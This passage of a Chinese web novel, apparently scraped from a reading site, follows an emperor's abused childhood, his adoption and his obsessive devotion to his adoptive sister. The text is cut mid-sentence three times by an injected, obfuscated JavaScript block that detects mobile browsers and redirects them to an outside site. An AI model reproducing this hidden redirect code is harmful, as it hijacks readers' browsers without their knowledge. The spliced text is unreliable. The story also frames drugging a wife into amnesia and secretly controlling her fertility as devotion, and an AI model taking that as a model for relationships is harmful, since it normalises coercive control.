做了五年多的夫妻,在短短的两三个月里,她突然学会了对他伪装、对他欺瞒、对他撒谎。
在感到愧疚和伤怀的同时,媜珠又不觉想到,那么皇帝呢?
皇帝周奉疆他自己,又是从什么时候开始欺骗她的?
熬了许久后,媜珠还是慢慢阖上了眼睛,沉入了好眠之中。
这一夜里,或许是窝在了皇帝热气充足的怀抱里睡得太过舒服,媜珠并没有再做什么迷茫的梦,反而是一夜安枕。
做了梦的人,是皇帝周奉疆自己。
或许是在这个深夜里,媜珠在他怀中无意识地翻了个身,素手划过他的胸膛,划过他胸前的某处陈年旧疤时,让他已经沉睡的头颅深处陡然勾起了某些往日的回忆。
他想起了自己第一次触碰到媜珠时的样子。
想到了自己是如何从一个私娼营妓的儿子,走进了当时冀州侯周鼎的府宅里,碰到了周家最宝贝的那个小女孩。
想到了自己这辈子为什么非得到怀里的这个周媜珠不可,为什么自己坐拥天下之后,中原江南漠北雪域西境南诏的各色美人,底下的人挖空心思想要流水一样送到他眼前来,他却连看都懒得多看一眼,一心只想守着媜珠一个人?
恐怕也和他那惨淡无光的前半生颇有关系。
*
皇帝今时今日的姓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640959|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
氏与名字,是在他被周鼎收养为养子之后,周鼎为他取的。
在成为周家养子之前,他其实并没有名字,他的父母也没有给他取过名字。
在他的记忆里,他从未见过他的生父,不知道他生父的名讳,不曾有过一家三口阖家团圆的时刻。
而且,从他渐渐有了自己的记忆开始,他的生母,便被迫从事着世人眼中最卑贱污浊的行当。
在他和他生母相处的那短短五六年的时光里,他都是在她的苛刻、厌恶与虐待之下长大的,从没有得到过她的半分喜爱。
有时,生母会被迫陪着踏入她房内那些男人喝酒,会在酒醉之后满足着那些男人的心愿,如泣如诉地低声说起她是如何从良家妇沦落到风尘女的故事。
而身量小小的他便会一声不吭地躲在门外,认真而安静地听着母亲所说的每一个字。他也记住母亲所说过的每一句话,每一件事。
于是,随着时日渐长,随着他日渐变得聪敏早熟,他也渐渐从母亲的口中拼凑出了他曾经所拥有的这个家的面貌。
他大约就生于北地冀州附近的某个州郡,生父生母都是贫苦的农户出身,虽然是农户,但是手头连自己的土地田亩都没有,只能佃种着当地豪绅地主家的土地为生,家境十分贫寒。
那时乱世动荡,武人当道,四处募兵。为了给妻子更安稳的生活,他的父亲便受募为士卒,开始在军营中替某位武人节度使卖命。
不几年后,父亲战死在外,尸骨未归。那时他才刚几个月大,而守了寡的母亲倒是的确得到了那位节度使所给予的一笔不菲的抚恤银两。
本来,靠着父亲战死所换来的抚恤,至少也足够他们孤儿寡母的母子俩暂时过上几年吃饱穿暖的日子的,然而,母亲娘家的幼弟迟迟不能娶妻,他的外祖父母自然不可避免地垂涎上了女婿的抚恤银。
母亲心软,怎么也不能不管娘家父母幼弟的苦苦哀求,何况那时外祖父母他们嘴上说的十分好听呢。
他们说,这笔银钱虽然暂时“借”给他们一用,但是他们绝不亏待女儿,可以让女儿带着嗷嗷待哺的外孙回到娘家住,往后吃用都靠娘家的爹娘,也算是给女儿和外孙一个安身之所了。
于是母亲便选择取出了家中近乎所有的这笔积蓄,给她娘家的弟弟新盖了两间屋舍,娶来一位贤惠能干的媳妇。
不出所料的,她幼弟新婚两三个月后,新弟媳似乎看她带着孩子白吃白住赖在娘家十分不快,逐渐排挤着要撵她出去。
她娘家的爹妈只好又哄她说,如今新媳妇进门,还没替你弟弟生养过孩子,咱们姑且忍一忍她,否则恐她一气之下跑了,这可如何是好?待她把孩子生下,料她不能再跑了,我们就不必怕她,到时候再将你和外孙儿接回来住。
母亲无可奈何,只好空着手带着他离开了他的外祖家。
离开娘家又身无分文的母亲想要重回婆家,找婆家的公婆和叔伯们庇佑,但是她的婆家人见她把自家男人的抚恤都白白送给娘家的兄弟花了,对她也很不待见,也将她赶了出去。
那一年的天时又很不好,遭了一场蝗灾,北地州郡多是饿殍满地,母亲带着才八九个月的他,别说是沿街乞讨了,就是想要寻一份闲工赚两个家用钱,也无处去寻。
后来,母亲抱着他四处流浪,最终逃到了当时最为富庶的冀州城里。
为了养活自己和孩子,她只能做了那样的行当,开始麻木地出卖着自己的皮肉。
麻木得久了,对待自己的孩子,她也是充满怨气和不甘,对他极尽打骂,发泄怒火。
但周奉疆无法怪她,无法苛责她。
17. 第 17 章
从他三四岁后,母亲见他越发机敏了些,便开始要求他去行窃。
在那些男人脱了裤子、踏足她房内的时候,她要求他躬着身子偷偷钻进屋里来,去翻动那些男人随手扔在地下的衣物,尽可能搜刮里面的碎银和铜钱,能偷到一点是一点。
一开始他不敢。
那时候他还太小,加之常年吃不饱饭,忍饥挨饿地一顿一顿熬着,他幼时的身量比同龄男童矮小瘦弱很多。
因为母亲做这些营生的屋舍在当时冀州军驻扎之处附近,往来者大多都是军中士卒,一身横肉,而那些踏足她母亲房内的男人,十之七八也都是肥头大耳,满面油光,膘肥体壮。
在他们面前,他简直连一条饿得皮包骨头的野狗也不如。
他害怕他们,害怕被他们发现,被他们毒打,他不敢。
他不敢,他母亲便抄起藤条一下下地抽在他身上,一边打他,一边尖声问他:“你不就是怕打吗?我现在索性一口气打够了你,看你还怕不怕!”
每一次,他都觉得那些藤条简直是穿透了他薄薄的一层皮肉,直接抽在了他的细细的骨头上,那是最痛彻心扉的疼。
于是他只能在被母亲毒打数次之后,选择了“敢”。
他帮着母亲偷那些男人的钱,在那污浊、昏暗、简陋、破败的脏乱屋舍里,见证了所有的不堪,见证了母亲的屈辱,自己也像一条乞食的狗一样,躬着瘦弱的身体爬在地上,钻进屋内,小心翼翼地翻动着那些男人的衣物,把他们身上的铜钱一枚一枚地取出来,然后再像狗一样爬出屋子。
如果他顺顺利利地偷到了钱,那些“客人”也没有发现的话,母亲的心情会很好,对他也会和悦一些,有时甚至会难得地给他煮一个鸡蛋,奖励他这一日的成功。
母亲笑的时候,他也会跟着笑。
但还有的时候,他是会被那些男人发现的。
也许是因为他行动太慢,没能及时溜走;也许是因为他翻钱的时候发出了一些动静,惊扰了那些男人;也许是因为他太贪心,不小心多拿了钱,人家起身穿衣裳的时候就察觉了。
男人们自然会当场大发雷霆,毫不犹豫地给母亲甩一个耳光,口中声声骂道:“你这娼妇!还敢唆使你的杂种儿子偷老子的钱!”
母亲怕这些熟客们下次不再光顾她这里,赶忙开始推卸责任,说这不是她唆使的,是这孩子自己手脚不干净。
客人打她,她就打他。
当着客人的面,为了让他们消气、满意,她就把他拴在床头,继续抽出藤条打他,一直打到客人离开为止。
客人的怒火是消去了,但是她的怒火还未止歇。
她仍然会不停地责骂他,问他为什么这么不中用,为什么以前都偷到了,这一次却偷不到,是不是故意给她惹事!
周奉疆无法回答,只能默默忍受着她的责罚。
直到他五岁多那年,母亲的房内又添了一位熟客。
这位客人待母亲比其他的客人要好,母亲也与他更为亲密,招待他十分热络。
他偶尔也会介绍一些零散的碎活给母亲做,大多是一些缝补清洗衣物的活计,叫母亲可以额外多添些零碎的收入。
母亲有时会有些惶恐不安:“你从哪里接来的这些碎活?人家知道你是给我做了的么?难免不会嫌弃我是不干净的人,嫌我晦气的……”
那熟客就浑不在意地笑:“有我在,我不嫌你就够了。旁人那里,你不想叫他们知道,我就替你瞒下。”
不过是时日稍长,他便敏锐地察觉到,母亲那颗早已死了多年的心,再度因这个男人而温暖了起来。
她不再变得那样易怒,也不再经常打他,有时房内没有客人,她会在深夜里难得奢侈地点上一根蜡烛,在烛火下替那个男人做起衣裳来,神情也是温暖的、恬静的。
终于有一天,在缠绵之后的深夜里,那个男人在枕榻间窃窃低语地对他母亲说,我带你走,我们回老家去,回我的老家。
他说,这些年,我身上攒了一些饷银,我不想总待在这军中了,跟着冀州侯南征北战的,迟早也要一死。
不如带着这些钱,我与你回我的老家去,那里没人知道咱们的过往,我娶你为妻,我们置办两亩薄田,偶尔做些零活,我给人家帮工盖房,你给人家洗衣缝被,我们的日子定会过得很好的。
我们以后还会有我们的孩子,有我们的儿子,也要生我们的女儿,我们要儿女齐全,十全十美。
母亲的声音有些哽咽:“……真的假的?你还看得上我?等你回了老家,什么好媳妇娶不到,非要娶我?必是诓我的。”
那男人说:“我把我身上的钱都给你收着,你还信不信我对你真心?”
周奉疆那时并没有一张真正意义上属于自己的床榻和被褥。
如果某天夜里,母亲房内没有客人时,他会蜷缩着身子睡在墙角的一张胡床上。
等母亲房内有别的男人时,譬如那晚,她就只能把他打发在门外,叫他随便找个地方对付一夜。
也许是屋檐下,也许是隔壁人家的马厩里,也许是茅草堆下。
而那天晚上,他哪里也没去。
他蹲在门外,静静地听着这个男人和他母亲谈论起他们的未来,他们以后的房屋田亩,他们以后的儿女子嗣。
他抬头望着天上惨白的月,灰灰的云,前所未有的孤寂和荒凉。
又没多久,母亲开始有意无意地收拾起了自己在冀州的东西,把她这些年为数不多积攒的钱财全都清点进一个小匣子里,每天抱着那个小匣子,痴痴地发笑。
周奉疆终于有一次忍不住问了她:“阿娘,您是要走了吗?”
他问的不是你要带我走吗,不是问你要带我去哪。
他知道她不会带他走的。
他只是问,你真的要走了吗?
母亲的神色变得有些恼羞成怒,不轻不重地掐了他的胳膊一把:“胡说什么!你娘还没养大你这个讨债鬼,能躲到哪里去!”
她掐到的是他几乎没有多少皮肉的干瘦胳膊,掐到的是他快要被饥饿和苦难蛀空了的肱骨。
后来又有一天,快要到冬日里,她生平第一次带他去了一家裁衣店,说是想要给他裁剪一身冬衣。
她还说,他大了,总要有一身体面的衣裳,既是过冬,也是过年,不能叫家附近的那些别的男孩子们把他欺负扁了。
当时她的温情令周奉疆在心里产生了一丝荒唐的奢想,在那老裁缝拿着尺子给他量身时,他软绵绵地举起了自己的胳膊,甚至怀疑也许她要带着他一起走。
也许是因为要带着他一起走,所以她觉得他需要一身体面的冬衣。
于是他又忍不住遐想起来,想到,如果母亲真的要和那个男人回老家成婚,那么他一定会做一个很好的继子,会把那个男人当成自己的亲生父亲来孝顺,以后母亲和他有了弟弟妹妹,他也会倾尽自己所有去疼爱弟弟妹妹们。
然而,尴尬的是,他的这番不切实际的遐想很快便被他母亲给打破了。
听到裁缝的报价后,母亲翻了翻自己的荷包袋子,不可思议地竖起眉毛:“这么贵?您老别是欺我呢!我挑的又不是什么好料子,不过是些碎布头,勉勉强强给他凑一身蔽体的衣裳罢了,难道也值这个价?”
老裁缝颇为不屑地哼了一声,白她一眼,没再理她。
母亲也哼了一声作为回敬,攥着自己的荷包袋子,头也不回地走了。
周奉疆只能连忙跟过去,惶惶瑟瑟地低着头跟在她身后回了家。
那天晚上,母亲在家中看了看他,叹气复又叹气,最终又起了身,去外头的街市上买了一块驴肉火烧给他,看着他吃完。
那也是他从未曾享用过的美味。
然而吃完那块驴肉火烧后,他便昏天黑地地倒头睡了下去。
等他再醒来时,破败的屋舍里,母亲早已离去。
她带走了家中几乎一切可以带走的东西,碗筷,桌椅,全都搬走了。
只留给他一床薄薄的、蒙着一层各种男人油灰的冬被。
这大约是她对他最后的一点母爱,至少没有让他冻死在这个北地寒冷的冬日里。
街坊邻里都纷纷围上来窃窃私语,或说这个女人狠心,连自己的儿子都能舍弃,或说这个女人有些本事,竟然还真的有男人要她,或说这个孩子可怜,不知往后的日子如何过活。
不论他们如何议论,唯一一点不曾改变的就是,他的母亲的确和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640960|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人一起走了,她抛弃了他。
他以为她准备给他做的那身冬衣,是她对他回心转意的母爱,没想到其实是她准备在临走前留给他的最后一点念想。
而且,最后,因为价钱不如她的意,她连那件冬衣也没舍得给他买下。
她只给他吃了一顿饱饭,给他留了一条冬被,别的什么也没有。
连一句话也没有。
*
在母亲抛弃他后,周奉疆并没有被饿死。
毕竟他们住的那地方,就在周鼎冀州军的中军驻扎之地,往来多有军中士卒将领。
周奉疆开始学着给他们做一些零碎的跑腿闲活,不为了要他们的钱,只为要他们赏赐的一点残羹剩饭。
他会给那些军卒打酒买肉、跑腿传话、给他们擦擦军靴、喂喂战马,他们有时则会赏赐他一两块肉干和冷馒头。
有人会哈哈大笑地把一枚铜钱扔到地上,看着他去捡,然后在众人面前神色飞扬地嘲弄说:“这小子跟他那娼妇娘一样识眼色!他那个娘,我那时候常去她屋里……”
后来人生命运的转轨,也是源于一天黄昏日暮时分。
某处军帐内,有几个小有品阶的小军官们在饮酒作乐,有人唤他去给他们买酒,他去了,然后把酒坛子搬进了他们的营帐里。
这时有一个小军官已经醉得神志不清了,打着酒嗝,涨红着脸对他说:“今日爷几个去后头黑皮子山上打猎,从山道上转上去,路过那个破庙,再往东走一二三里,瞧见一位春秋时候中山国的老将军的坟,坟头上,老子的箭囊就是丢在那忘记取了。你小子敢不敢去给爷取回来?爷厚厚地赏你!”
帐内的其他军士也都是一身酒气地笑:“杨大哥吓他做什么,那黑皮子山上白天也没几个人去,晚上更是闹鬼!他一个黄毛小儿,哪里敢!”
“娼妇生的乌龟种罢了,有什么胆量!”
这话一说,前头那个小军官更加来劲,又厉声喝他:“小子,你敢不敢?你只要去了,爷今天身上的所有钱都赏给你了!”
周奉疆放下酒坛子看他一眼,重复说了一遍:“黑皮子山的半山腰上,山道上有个破庙,从破庙往东走一二里,有个老将军的坟,箭囊就在坟头上。是吗?”
那小军官答是。
周奉疆便头也不回地出去了。
也许那一刻,他只是想要为自己争一口气,只是想要荒唐地证明自己并不是一无是处。
从黄昏时分他走了,熬过了一整个黑夜,他竟然真的在第二天的黎明破晓时回来了。
他带回来了那个箭囊。
那小军官和一同饮酒的军士们都啧啧称奇,完全不敢相信。
这件事一时间在军营里颇为轰动,军士们多有议论者,议论这小儿简直胆大无比,并非池中之物。
是日,恰逢冀州侯周鼎巡营,听说此事后,也是大为惊奇,让人把这个孩子带到他面前来,他要亲自问话。
周鼎问他说:“昨夜你真是一个人上的山?”
他答是。
周鼎又问:“不害怕?”
他回,请问侯爷,有什么需要我去怕的?
周鼎哈哈大笑:“不怕鬼?”
他说,鬼有何惧?不过一缕虚魂游荡世间而已,何鬼能伤他?
周鼎问:“不怕豺狼野兽?”
他说,怕又何用?豺狼腹中饥饿,要来吃他,他无论如何都避无可避;豺狼腹中饱食,不愿吃他,也是他该有的造化。
而且,他在身上带了一包药性极深的鼠药,若是真的有豺狼野兽在山林间扑上来撕咬他,即便他不能与之搏斗,他也要以剧毒的鼠药覆面,诱那些豺狼啃咬他,和它们同归于尽。
周鼎望着他,愕然良久,又长长叹息,指着他,与左右士卒亲卫们说:
“此子有虎狼之心,虎狼之性,堪为我子也。”
“恨此子竟没能托生在我周鼎家中妻妾腹内,我人生有憾啊!”
其实所谓“虎狼之心”,这并不是一个很好的词语,但是周鼎却很喜欢。
于是,他被周鼎带回了周家,成了周鼎的养子。
他有了自己的姓氏和名字。
这个名字也终究刻入千古史书,帝王本纪。
18. 第 18 章
听人说,哪怕是面对自己的几个亲生儿子,周鼎在这之前都没有这般夸赞过谁。
所以,因为那日周鼎在人前对他的极尽赏识,周鼎之嫡妻赵夫人对他也是青眼有加。
哪怕他有一个不堪的出身,但是只要周鼎看重他,这些似乎也没那么重要了。
在他来到周家后,尚且怀着身孕的赵夫人主动提出要替周鼎亲自抚育、教养这个养子。
他便被记在了赵夫人的名下。
原先他以为自己是又有了一个母亲了。
然而在他初次见到赵夫人后,那个雍容华贵的女人先是极言表达了一番母爱和温柔,很快也露出了自己的真实目的。
她慵懒而自得地抚着自己微微隆起的肚皮,与他说:“好孩子,如今母亲腹中也有了你的弟弟了,日后你们就要亲的和亲兄弟一样,母亲还指望着你好好辅佐你的弟弟呢。”
收养他,其实她也不过是这个目的罢了,天下哪有给人白吃的午食。
赵夫人见他有些紧张不安,又招手唤他上前来,叫他隔着几层金贵的布料,轻轻去抚摸她的肚皮。
她一面准他摸她的肚子,一面还催促他给她“做法”,让他多说一些吉祥话恭维她,说她肚子里肯定是个男儿。
周奉疆只好麻木地照做,向她说了几句吉祥话:“母亲的肚子尖尖的,一看就是男胎之相。母亲一定会平安生下聪明可爱的弟弟。”
她听罢却连忙扬起眉毛喝他:“什么话!民间俗语说,肚子尖尖儿那是女孩!你说的什么浑话!”
周奉疆只好改口:“母亲的肚子圆圆的,一看就是男胎之相……”
其实隔着那么多层布料,他能摸得出什么来?
她就是怀了个锥子在肚子里,他也不知道。
不过,就在赵夫人发怒的那一刻,她腹中的胎儿突然受惊动了起来。
那柔软娇小的胎儿,在赵夫人的肚子里掉了个头,游动了两下,将一双小小的手贴在了赵夫人的肚皮上。
而那双小手,也正好隔着一层肚皮、几层布料,按在了他的掌心下。
后来许多年里再想一想,这是他第一次认真感受到她的存在,第一次触碰到她。
在她还在她母亲腹中的时候,他就已经在守着她了。
周奉疆仍然记得那是种什么样的触感。
她是柔弱的、脆弱的、娇小的,大概那时在娘胎里也只有那么大点的一小团,可是莫名却让人感到无限生机,无限的生的希望。
胎儿的每一次胎动,都像是冬日消融之后,春日里的花木枝芽新生的打着卷的新叶,她每一次一点点的动弹,都像枝头的嫩叶在春风里缓缓舒展开身体一般。
这触感莫名让他心头颤动。
赵夫人当时也惊喜不已,转怒为笑:“我儿,你来得真是巧,可见和你弟弟有亲兄弟的缘分,它在我肚子里,这可是头一回动了。——福蓉?福蓉!去请侯爷来,告诉他,我们的小公子会动了,叫他快来瞧瞧!”
之后的几个月里,不知为何,每每再面对赵夫人的时候,他总会不由自主地看向她越来越挺起的腹部,看着她滚圆的肚子。
赵夫人怀着媜珠时,倒也是很享受这种别人关注她孕肚的感觉的。
有时心情好,她还会让他摸摸她的肚子,感受着她越来越强烈的胎动,而后满脸期待地看着他这个便宜儿子:“我的儿,你说母亲腹中是儿是女?你们还不知事的小孩子,眼睛最清透,保准还是你们摸得准。”
周奉疆每次都奉承她,说她怀了男胎。
但他心里却不知为何涌起一股预感,觉得这分明其实是个惹人怜爱的漂亮的小妹妹。
几个月后,赵夫人果真产下一女。
赵夫人有些失望,周鼎也有些失望,然而还好,这并不妨碍他们仍然对这个来之不易的女儿极尽宠爱,为她取了大名“媜珠”。周媜珠。
媜珠媜珠,音同珍珠,真是父母的掌上明珠呢。
周奉疆后来听人说,周鼎这些年里之所以对没能生育过的正妻赵氏宠爱如初,是因为昔年他与赵夫人刚成婚时,婚后一起去拜过冀州的一个老道观,听过一句谶言。
那老道观是周鼎家族几代都极为敬重的宝地,听闻十分灵验。
就连几十年前周鼎之祖父决定雄踞冀州城作为周家的大本营,也是这老道观的祖师爷给算出来的。
当时那老道观里最德高望重的一位仙师,见到年轻的周鼎与赵夫人这对新婚燕尔时,便直截了当地对周鼎说,我的时日快将尽了,此生只能再给主公算上最后一谶,谶曰,
——主公的血脉日后将要贵极天下,必是从眼前妇人的腹中兴起。
这句话是什么意思?
血脉贵极天下,不就是他的血脉以后能够做天子么?
从眼前妇人的腹中兴起,那不就是说这女人的肚子里能生出天子?
周鼎闻言大喜,从那老道观回去后,就对赵夫人愈发宠爱。
赵夫人也因此常年自鸣得意,已经开始梦起来日自己的儿子当上天子、自己要做皇太后的场景了。
不过那时他们夫妻二人还并不知道,这句谶言最后到底应在了什么上头。
但是这些说来就长了。
赵夫人生下媜珠后,众人都说媜珠是个难得的好看孩子,刚生下来就是白白嫩嫩、漂漂亮亮的,必是天生的美人儿。
周奉疆身为赵夫人当时的养子,自然也有机会凑上前去看了一眼这个刚生出来的妹妹。
她刚生下来,被奶母们擦净身子、包裹进襁褓里后,他就见到了她。
的确是个只有一小团的小家伙。
她生下来虽然漂亮,但不知为何,一连三四天都没有睁眼,叫躺在榻上坐月子的赵夫人有些着急。
又有一天午后,周奉疆做完上午的课业后,按例又去赵夫人房中给她请安。
赵夫人对他招了招手,随口说了一句:“我的儿,今天去见过你媜媜妹妹了没有?你去奶母们房里看看,正好看看你妹妹今天睁眼了没有。”
他应了一声,这便退了出去。
媜珠那时刚刚吃饱了奶水,被奶母们放在一张精致华贵的小摇篮里躺着,她躺得很安稳,大约是睡着了。
可是她又没睁开眼,谁知道她到底是不是睡着了呢?
周奉疆静静地站在她的摇篮前看了她很久,见她还是毫无动静,他又转身准备离开。
就在这个时候,摇篮里小小的媜珠费力地晃了晃脑袋,像蝴蝶艰难振翅一般,一点点努力着睁开了她的眼睛。
新生的婴孩,果然拥有一双最纯洁无瑕的、柔嫩的眼睛。
她睁开眼,望见的只有他一个人。也许他就该是她来到这人世间第一个看到的人,也才应该是能呵护她一世的人。
后来她日渐长大了,到了快周岁的时候,也会在地上爬爬坐坐,日日十分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640961|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活泼,就是学说话学得慢,仍然不见她开口唤人。
周奉疆时常陪她在一起玩。
有一天他在军营里回来,身上累得满身泥汗,正欲先去换身衣裳,可刚回了赵夫人的院子里,就听见好几个仆妇嬷嬷都笑着连声叫他,说是三娘子今天等他等了一天,叫他快去陪陪她。
他只好先去见她。
那才刚周岁的小家伙穿了身粉嘟嘟的衣裳,撅着嘴巴,一只手紧握着拳头,另一只手摇摇晃晃地扶着桌腿站在地上,一直向门外望,不知是在等着谁。
周奉疆到她面前蹲下:“媜媜是在等我回来么?”
媜珠还是撅着嘴,向他伸出了握着的那只小拳头,缓缓张开手,把一颗已经被她捏到变形发烂的荔枝递给他。
周奉疆一愣。
一旁媜珠的奶母们连是笑着道:“今日侯爷在咱们院子里陪咱们夫人用了午食,给我们夫人带了一盒子南边儿快马加鞭送来的荔枝。三娘子馋着要吃,侯爷和夫人就给了她两颗,我们剥了一颗给她吃了,还有一颗,三娘子死活捏在手里不给人碰。咱们就猜三娘子是要等着给小公子的,现下一瞧,果真是这样!”
媜珠向他张开了手,还是一脸期待地等着他接过那颗荔枝,其实那颗荔枝已经被她捏烂了,汁水流了她满手,把她一直紧握的拳头都弄得黏糊糊的。
周奉疆的心在那一刻抽搐了一下,有种心肺偾张的浑身痉挛袭来,让他的手都开始发抖。
他接过了那颗被捏烂的荔枝,剥开它的壳,把早已软烂的果肉当着她的面吞下。
其实那还是甜的。
吃完那颗荔枝后,他请媜珠的奶母们端来脸盆和巾帕,开始替媜珠擦着小手。
那么硬、那么粗糙的荔枝壳,她竟然傻乎乎地就捏在手心里捏了一下午,把她的手心都扎得通红。
他给她擦手,忍不住轻声说她是个傻姑娘,媜珠忽然对他笑了:“阿兄!阿兄!”
这是她第一次开口唤人。
……
他眼睁睁地看着她,从娘胎里一个软软小小的胎儿,到摇篮里嗷嗷待哺的婴孩,到梳着花苞髻的可爱孩童,他见证了她豆蔻年华身体抽条发育的年岁,也听闻过她十五六岁时便殊色冠绝北地的盛名。
直到如今,她躺在了他的床榻上,安安静静地卧在了他的怀里。
他甚至经历过她的第一次胎动,是她睁开眼后第一个见到的人,是她学会说话时第一个叫出的人。
为什么她不爱他?
为什么她没有永远都只爱他一个人?
从前和他那么好的妹妹,为什么自从张道恭从洛阳来了冀州之后,她就把视线从他身上转移给了张道恭?
她为什么会爱上张道恭那个没用的软弱废物?
除却没有张道恭那样生来凤子龙孙的尊贵血统之外,他还有哪里比不上张道恭?
情之一字上,如果不是因为张道恭,他何至于今时今日惶惶不安至此?何至于千防万防把她蒙骗在这金丝笼里,唯恐她思及过往之事?
甚至,也是因为张道恭,他不能和媜珠有属于他们自己的孩子。
为什么他们几乎夜夜同房、为什么媜珠这么想要孩子,他们却一直没有?
周奉疆猛然从梦中醒来,出神地望着媜珠的睡颜。
这么多年里,许多个深夜里,他都会在她入睡之后再度惊起,然后在黑暗的沉默中一个人静静地看着她。
19. 第 19 章
翌日媜珠还未睡醒时,皇帝已经悄无声息地从榻上起了身,服十二旒冕冠,起身去赴了大朝会。
朝会毕,皇帝又传召了三省里的一些官吏到宣室殿内议政,这一忙起来,一整个上午的时间便已悄然流逝。
直到午时的功夫,皇帝终于得空稍稍清静片刻,书房内空闲下来,宦官倪常善这才敛声轻步地入了内,托着一碗漆黑的汤药,小心地搁置在皇帝的桌案前,而后就赶忙退到了一旁,不敢多说一个字。
这汤药,每隔十日就会送一次到皇帝跟前来,从几年前他与媜珠成婚后开始,只要他们有过同房欢爱,这东西就几乎没有断过。
皇帝此时刚从繁杂的政事里得以暂且解脱,他抬手捏了捏眉心,望着这碗浓稠的黑色汤药的眼眸中压抑着翻腾的情绪。
倪常善敏锐地感受到皇帝的不快,他胆战心惊地无声又后退了一步,唯恐被帝王一怒波及到。
不过皇帝最终什么也没说,他照例端起了那药,一饮而尽,而后不轻不重地将瓷碗搁回了托盘里。
倪常善便上前收起了托盘,准备将这些东西带下去处理掉。
皇帝却忽然唤住了他:“去叫中书舍人草一份朕的口谕,即刻发给交州司马韩孝直,就说让他半年之内押着张道恭来见朕!去!若他明年三月之前荡平张道恭残部,朕,封他荆国公爵位!”
倪常善应下,这才退了下去。
等到宣室殿内再度只剩下周奉疆一个人时,他有些疲倦地靠回了椅背上,愣神地望着绣在自己正对面那张宽大屏风上的天下州郡四海疆域图,用眼神一一扫过自己所拥有的几乎广无边际的江山,喉间却一再泛起方才饮下的汤药的腥苦,让他的情绪愈加暴躁。
那是一碗男子饮用的、有短暂的避子效用的凉药。
是几年前成婚时,他自己要求医者为他调配的。
这些年,他和媜珠一直没有孩子的缘故,其实本就不该怪在媜珠的身上。是他一直在背着她吃药,是他不想让她生,所以她才没有怀上过。
可他为什么不想让她生?
新婚之初,确实是因为他舍不得她的身体,因为她大病尚未痊愈,他叫她好好养着身子,当然不敢让她在那样的情况下贸然受孕生子。
但到了后来,则纯粹是他自己心虚,所以不敢让她生,怕她再受刺激。
四年前,媜珠被她的庶弟刺激过一次,曾经短暂恢复过一段时间的记忆,那段时间,她和他闹得死去活来,甚至一度扬言宁愿死也不愿乱人伦委身于他。
虽然之后她在医者们各种汤药的轮番乱灌之下再度失忆,并且变得性情温顺如初,可医者们转过头来都纷纷一脸严肃地规劝周奉疆说,
——若是想要女君永远如此柔婉温顺下去,那么主公实在不宜让女君草率受孕产子。
女子孕中身子实在辛苦,单单是那胎儿日复一日地长大、压迫着母亲的腹腔五脏,都足以让她陡然间神智错乱,想起往事。
哪怕十月怀胎里没出什么差错,临产分娩时,也有巨大的痛楚折磨母体,她还是会有可能在剧烈的阵痛下触动神智,继而恢复记忆。
更可怕的是,若是夫人产子后恢复记忆,还有可能会因此无法接受这个生下的婴儿,会在情绪失控时伤害虐待自己的孩子,包括她可能会摔死、掐死她所生的婴儿。
周奉疆听罢也只能无奈叹气。
在媜珠渐渐养好身体,能够怀孕生子的时候,他还是瞒着她十日又复十日地饮用着那些避子的凉药。
这就是他们这些年来始终没有孩子的原因。
他对媜珠从来都只有愧疚,他们没有孩子,不是她的错,但她仍然因此背负了一些心理压力,甚至坚持日日去跪拜送子娘娘,而他却没有办法开口向她解释真正的原因,唯有一再加倍地宠爱她、好好地供养她的母亲、恩赏她的外祖赵家,借此弥补她一二,略微减轻一下自己的罪恶感。
思来想去,他最终将这份愤懑的怒火转移到了张道恭的身上。
或者说,他本来就认为,他与媜珠今时今日的不得圆满,都是从张道恭开始的。
如果不是因为张道恭的出现,媜珠不会瞎了眼爱上这种软弱无能的废物,不会因为这个自己宫门都守不住的废物,跟他这个兄长反目成仇地不停争吵。
如果没有张道恭,他和媜珠不至于闹到今天这个样子!
起先为了媜珠的身子着想,他喝着那些凉药替她避孕,身为她的丈夫,他甘之如饴,并未觉得有什么不快。
然而,如果他作为一个男人,一个皇帝,为了不让自己的女人因为怀了他的孩子而回想起和别的男人的过往……所以需要他背着她喝这些药的话,他这些年是何等心情,又可想而知了。
过去的几年里,他忙着南征北战,收拾各地豪强节度使,为了大局,他懒得腾出手来料理张道恭那条丧家犬,如今天下稳当,他绝不可能再放任张道恭在他的眼皮底下当个跳梁小丑继续苟延残喘。
他内心总是不愿承认,张道恭是他这一生最膈应的心结。
早亡而未曾谋面的父亲、弃他而去的母亲、卑贱的出身、坎坷的幼年时代、旁人对他的轻眼嘲讽和欺辱,所有的这些,虽然曾经一遍遍凌虐过他的脊骨血肉,尚且不足以真的击垮他的心气。
在他登基称帝、夺得天下后,他觉得自己很多时候,其实对过往的那些苦痛岁月也学会了释然。
